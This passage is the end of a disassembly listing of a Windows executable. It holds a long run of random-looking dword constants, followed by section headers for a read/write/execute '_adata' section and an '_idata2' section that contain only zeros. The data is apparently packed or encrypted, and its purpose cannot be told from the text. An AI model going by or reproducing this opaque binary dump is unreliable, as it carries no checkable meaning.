		dd 0F36F94FDh, 0D142E275h, 7D1182D3h, 90632D55h, 0FD360DE0h
		dd 0CA43BF08h, 41F948D3h, 4D6EF88Bh, 0F81C0240h, 6B82A1CDh
		dd 46F504DFh, 0F562AE9Eh, 0EDE1F1FBh, 5CBBF05Ah, 8140964h
		dd 3507D9C4h, 0BEF87A40h, 4797E2FBh, 0E2CA4B4h,	0E2480F97h
		dd 648DE671h, 0F1C0CB1h, 83119C2h, 0DB573BF0h, 0E2C03D16h
		dd 0BEE5C9D3h, 0BC2B0D41h, 32A5FFCh, 0E112083Dh, 49CC5386h
		dd 0B7EC02B8h, 0A7D9BB40h, 0D3FBBFBFh, 77D7922Dh, 0EF5A9534h
		dd 0A3E1DCF4h, 85212E8Ah, 41D8DF2Ch, 2A7609EBh,	7876ED69h
		dd 4F0B9874h, 1C166007h, 0BA8725F5h, 2EDC17F3h,	0DB534307h
		dd 0E5E4AC75h, 5DA5E18Eh, 3F71E518h, 4DD3E885h,	0E11D4855h
		dd 3F5C27BBh, 0C290C244h, 53BE2F5Fh, 0C6FBE82Ah, 5C601417h
		dd 0C241A126h, 0E5545D73h, 0D38A733h, 0ECD7113Bh, 0A6DB9346h
		dd 355ED9F0h, 34C889EFh, 0DA487E93h, 0D6EF6C41h, 7A65D039h
		dd 2CC272BBh, 89171AB5h, 26EBE324h, 2FD9A699h, 79453714h
		dd 1B719219h, 481D6489h, 7A6C05E7h, 4A7194A0h, 353019CFh
		dd 40BF4123h, 7F4C1C98h, 0EA3FE815h, 9A984422h,	764A54B1h
		dd 0ECFF96C4h, 1EBE40BBh, 63FE634Bh, 838DE0B3h,	0D84CBBBFh
		dd 0DDD18297h, 0B94F7B6Ch, 2054BD13h, 0A48FAA04h, 0D310BC8h
		dd 7C0A5669h, 0CED5DD4Eh, 0F2E6599Eh, 0A371BEB8h, 4CCBAFB3h
		dd 0D9F65E19h, 0FAB6CBE5h, 6C8B5F64h, 96BEA8E9h, 1E6629ACh
		dd 0B352F4C7h, 37A546A5h, 9C6FC020h, 5CB30BACh,	77275AB0h
		dd 1349C7h, 0AAC38F77h,	404AF538h, 0A99EDB71h, 0AC200DD0h
		dd 5BAFEC04h, 0FC1E8DE8h, 0BC7D01E0h, 0E2D29142h, 0FE861312h
		dd 55805728h, 0AC18EB20h
		dd 221687E8h, 8D204534h, 28FBDEC9h, 75285A9Eh, 5009AFDAh
		dd 10C4A504h, 8AFF8219h, 4D5FA46Bh, 5AB0161Ch, 51D4AAC2h
		dd 0AB65DF28h, 0EE2BFA0Ah, 0C83523Ah, 0C52F3A75h, 0F0637685h
		dd 8FA6699Bh, 0DA1E7811h, 0C896DDB9h, 5786033Eh, 0C49FBD9Fh
		dd 5CBF9405h, 68E753EFh, 0B31FF7ECh, 7A386513h,	0A51F8CBDh
		dd 164F123Ah, 629064CAh, 0A512720Dh, 0EFAC1C4Ah, 0F5CC405Ah
		dd 17570EF0h, 0B04DC205h, 0B886B5B2h, 8E94475Bh, 6C7D2C82h
		dd 1F34DF4Bh, 31B90B18h, 5CE22CDEh, 0D1B79B19h,	7D4436CCh
		dd 3A059026h, 816124FCh, 8276323Ch, 17035B2h, 0D8535FCh
		dd 2E2FBD3Ch, 9152069Bh, 3355ED49h, 4FA90280h, 1DBB708Ah
		dd 560AEB8Bh, 5CB5C128h, 0EF5F8588h, 0A13A6EA9h, 0D7C8EFDAh
		dd 4CC0F834h, 4956B73Fh, 8F6E6E01h, 89C96BF4h, 89FDE907h
		dd 8A21D80h, 0CEE601D9h, 87863AC0h, 66BF7CD4h, 0F8E57633h
		dd 6ACA34C7h, 66F7B576h, 819CDBFDh, 4A3A757h, 816F97D7h
		dd 3D37EAABh, 0B0FB4866h, 76DC1386h, 0E142D9B7h, 0B7A808h
		dd 5F7C57D7h, 0E68A2559h, 0FE765EB2h, 0CFCCF0CFh, 0E2E306EFh
		dd 0E7ACDBA5h, 0A9838B91h, 494F0897h, 0AC2C543h, 0AD7F80F4h
		dd 79366E73h, 3FFE9824h, 6662A10Fh, 4F09790Dh, 0F6824Dh
		dd 59A48A1Ah, 872B9962h, 0D3E4BB1Ah, 2F2279Bh, 4DA9B1Dh
		dd 25EA9949h, 0AF9C1512h, 0CC62BDAAh, 2050BC8Bh, 0C14E1BBh
		dd 0B6AA7AA1h, 9FA299D7h, 0F582A6F4h, 0AD2F7F9Bh, 8E58AA26h
		dd 7E182724h, 0D099BBE9h, 0FE60301Bh, 951D413Ah, 8436EFDBh
		dd 408C8144h, 0A913BF42h, 6A33884Ch, 6BA081Fh, 22459CBh
		dd 10409647h, 6E5500BAh, 0A6DD651Bh, 83647FC3h,	0BCD6F4DCh
		dd 21E72D7h, 33EC0BF4h,	8A8D1FB6h, 0F3A79BECh, 0FA22CB30h
		dd 0DAB304F4h, 0D8EBB059h, 1CFC9FB2h, 0BB780F25h, 23B8E1D0h
		dd 6D2D21F4h, 229F3223h, 1B45D117h, 0F234821Ah,	4208A41Bh
		dd 63C7D416h, 0CF98B7DDh, 7C4B72E0h, 52FC6890h,	76B31F1Eh
		dd 0E24DDDBFh, 51AC6FD7h, 1554C3CAh, 71D2270Eh,	0CF54890Ah
		dd 8E1DAA6Dh, 0C442C34Fh, 317FD6BDh, 16614419h,	1E265446h
		dd 89B9DF46h, 0A0F855E2h, 4E6450E7h, 81945818h,	239D0CC0h
		dd 0B415C46Eh, 0D332C920h, 0B44C0A66h, 7C94C45h, 591F0CF8h
		dd 0F11C5BE2h, 409A9E09h, 0C26D374Ah, 4230C754h, 0C35E75A6h
		dd 0DF73251Eh, 0ABAF44E5h, 0CEDA3B9Eh, 5EFDF5C1h, 0E1D289F1h
		dd 22F89FC8h, 434DB89Ch, 5D753516h, 0C9089FBAh,	0BD73E640h
		dd 74F35BCEh, 0B2B9D7E0h, 2F81AC2Dh, 0AC6B6A04h, 24102135h
		dd 19ABE36h, 52294282h,	8C0F8F1Ah, 9FFAD95Eh, 0AA4E8590h
		dd 26F1704Bh, 0BC62585Ch, 1B1C4F35h, 0B58CF2EFh, 0B3002127h
		dd 8FC7B619h, 0A818B2FBh, 4348375Dh, 0EBF52E12h, 0B6FB92CFh
		dd 0F0CBA3F1h, 4F511C33h, 1A1F327Dh, 0DC183E2h,	5F34FEF0h
		dd 0B8304DEFh, 89358DE6h, 0CEE25010h, 0EA975A2Fh, 8FF7BEA2h
		dd 81FC69D9h, 7D06B1C7h, 8D9E4E4Fh, 6CF0282Ch, 9B9FA1ABh
		dd 9F454213h, 241B50FBh, 1FE4EF5h, 7233FE65h, 60C77EF6h
		dd 46D3E891h, 2380D54Bh, 4FCF46D7h, 4978A8BDh, 919C4288h
		dd 42D4C295h, 8331ABB6h, 43292B51h, 0D6A5B625h,	0F2EB7212h
		dd 5BAE46B7h, 0F1D5E6Eh, 0A31E5FFEh, 0F486ED39h, 434B7AB8h
		dd 0AF8AF112h, 0DE195DFCh, 4984AE14h, 0A3BC2219h, 8598A2FFh
		dd 2AC85210h, 51FFFC2Fh, 78855475h, 0CE19CF52h,	0B3379145h
		dd 0E07BDD1Ch, 0C948A6EDh, 0B6297707h, 3B7263B1h, 14B6DE08h
		dd 2B8D6926h, 94F62BD6h, 516ED343h, 16526BABh, 2317D99Bh
		dd 63765653h, 0B161749Ah, 6968B55Ch, 0ABE85ECAh, 9A2A9F6Ch
		dd 985030EFh, 6A7BA470h, 8B82BBA5h, 45DFA5A0h, 8D54831Dh
		dd 50353EB6h, 0C83256DDh, 0ED54F04Ah, 0E59431h,	1FFEB93Bh
		dd 1A434011h, 0F1B427DAh, 0CF72DF0Ch, 0EF841BCDh, 1BC83DB8h
		dd 0ED20C607h, 7E907514h, 6890FEBEh, 860236E6h,	442891FFh
		dd 0D9AA9667h, 0DACA07F0h, 28CA28D3h, 9929D70Ch, 0D1AA5E27h
		dd 4874B4DFh, 4DFBED5Ch, 40724461h, 0DDAACD66h,	0E2F3357Dh
		dd 75F7C1A8h, 875FEC6Ch, 26767A8h, 39B0D4E4h, 37DE3224h
		dd 0CA34ED8Dh, 4B75F922h, 54B53E85h, 5D5F9A5Ah,	11E7D027h
		dd 0F1D56885h, 9BC56D9h, 0F38741A7h, 0EB3D4816h, 92A7534Ah
		dd 443073E7h, 782545EFh, 672F5907h, 0A9B6875Dh,	2BED5907h
		dd 38E3CFF5h, 8596084Ah, 3EC8FA05h, 5A79CEE3h, 5E175BC9h
		dd 546BEA1Eh, 6EE9ACB9h, 0D04E3506h, 1BCC449h, 601A1838h
		dd 19524C6Fh, 5C729A9Bh, 894709ECh, 19669A3Dh, 8391F933h
		dd 9076A214h, 0C312337Fh, 9C555DEh, 0EBF283D5h,	0C0275064h
		dd 38B14240h, 0D02C6854h, 0AB33ED64h, 4AD8AABEh, 12A3B5D4h
		dd 45E6071Bh, 0CA98DE2Bh, 72CF8703h, 0E284313Ah, 25995F06h
		dd 0B78EF3Ah, 4E35B6B0h, 35E12BE8h, 0C7620836h,	0BF08D7E6h
		dd 7F1882B7h, 0C314782h, 63297D33h, 0EDB80CEFh,	41D1A739h
		dd 548FC6B0h, 11F3B4C2h, 0CD688418h, 638FE721h,	0E65FA407h
		dd 86917759h, 0D44652A8h, 1A2A2401h, 604C636Fh,	0A5B2D755h
		dd 0F9D46330h, 3E78AC69h, 52E1B7E9h, 0B2195567h, 690B0EE5h
		dd 9240C74Dh, 32DA2A10h, 3F40C8F1h, 71A38CBEh, 67D82E6Eh
		dd 6FD3AC75h, 6DC7F910h, 0A764232Ah, 28AA34FEh,	50556218h
		dd 200E038Fh, 0B40CCB3Fh, 7EF7E687h, 0BD5AAB7Fh, 8F854F78h
		dd 9688A2F3h, 0F5DB40B7h, 719479BDh, 8A883DD5h,	0F6633875h
		dd 6E909205h, 75CEC7EAh, 0BE9FC4FCh, 0B980D7A2h, 0F8CF28E7h
		dd 2DD921CAh, 0BCFC19EAh, 2629B6D3h, 0EA7FE1FCh, 5DD4049Ch
		dd 7F510000h, 134FB3F9h, 0FAB23E1Ch, 39B1FAD7h,	749024C3h
		dd 0C1B2847Dh, 373AD1EBh, 88139646h, 2C7DEC36h,	0F17AE0EEh
		dd 0FAB5402Bh, 72C4264Ah, 84DD8E07h, 705FB893h,	0A8BB3102h
		dd 6FBABE46h, 56128C3Eh, 8EC9518Ch, 0F7EF4F33h,	56926337h
		dd 220185B6h, 0D3C9794Ah, 9FF87A8Ch, 987361Dh, 0C10B658Ch
		dd 0AA03B3FBh, 96DF255h, 2A62AB6Fh, 18F5908Fh, 169C6EFEh
		dd 0FCC08FBFh, 0C665B28Dh, 0C2E317AEh, 5B312B4Ch, 583BE757h
		dd 940EE2Bh, 0C63CE66Eh, 0B5C1B4EDh, 0B6E18772h, 0E900DDC2h
		dd 44A0F554h, 7A24C6Ch,	256D1EA2h, 0DDFB1004h, 22D87757h
		dd 856BDB3Dh, 0D333AC22h, 89C85346h, 0C2C50951h, 6CE82333h
		dd 0C21BBA45h, 6C28E6F6h, 0B052E370h, 0AB0DE7F1h, 738B7FECh
		dd 93F5A50Ah, 515E0CA0h, 99DB2B58h, 975E16F0h, 481D3D67h
		dd 90B58104h, 0A15F51F7h, 0C4C9AF96h, 0C4815960h, 94F76F5Dh
		dd 0F395587Bh, 1E57BDFAh, 0DBF4D21Bh, 6F915A81h, 365F041Eh
		dd 0CCE2687h, 0B127E604h, 0C7A455C8h, 3373101Bh, 0E528715Dh
		dd 64905B3Dh, 91FB2B7Bh, 8C4D6019h, 0A47DFBCAh,	0C069BB0Fh
		dd 0B8FA9547h, 651A2D9Dh, 91F725B6h, 0F1937D5Ah, 0CF8B66A9h
		dd 19AC397Eh, 0F8C08011h, 2F8D3903h, 0C713BC62h, 0E86DFC4Dh
		dd 0D6F10346h, 6B64D365h, 955C31E3h, 0A847D7C9h, 8A8536ADh
		dd 0A9DB4C3h, 0EB8C09C5h, 739A4155h, 824566F4h,	892EEEB5h
		dd 0E20F652Ch, 5829F75Bh, 0EEBCD397h, 36667699h, 0AE896F42h
		dd 0C0D31C8h, 7125E04Ah, 0D9E14F04h, 4AC68FA3h,	99A2CA75h
		dd 0CD59446Bh, 6A79BB30h, 2DAE97CCh, 107A769Ah,	98C63674h
		dd 0BD326E6Eh, 0F52CF290h, 3448F13Fh, 0E557A468h, 332CB697h
		dd 1B26DA7Fh, 30D62FA6h
		dd 0FC665F45h, 6996B578h, 9F6A845Eh, 42F287C4h,	6B14972h
		dd 0ED988B45h, 0BC9F4C94h, 6F5DECA8h, 0BA448833h, 0E74A8608h
		dd 300h	dup(0)
_data		ends

; Section 7. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 514000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 8. (virtual address 00115000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00115000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 515000h
		dd 80h dup(0)
		dd 0D1h	dup(?)
		db ?
byte_515545	db 3 dup(?)		; DATA XREF: seg002:004508CCo
		align 1000h
_idata2		ends


		end start